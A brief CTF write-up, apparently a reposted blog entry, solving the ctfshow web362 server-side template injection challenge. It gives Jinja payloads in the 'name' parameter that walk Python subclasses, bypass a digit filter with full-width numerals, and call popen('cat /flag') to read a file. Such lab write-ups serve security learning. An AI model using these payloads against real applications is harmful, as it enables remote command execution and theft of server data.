当前位置：网站首页>ctfshow-web362(SSTI)

ctfshow-web362(SSTI)

2022-04-23 18:29:00 【m0_62094846】

?name={
   {"".__class__.__bases__[0].__subclasses__()}}

一直到這一步都是正常的

從12開始就沒用了

數字出現了問題，看wp用全角數字代替正常數字繞過

?name={
   {"".__class__.__bases__[0].__subclasses__()[１３２]}}

然後應該可以用正常方法做了

?name={
   {"".__class__.__bases__[0].__subclasses__()[１３２].__init__.__globals__['popen']('cat /flag').read()}}

版权声明
本文为[m0_62094846]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/04/202204231829007951.html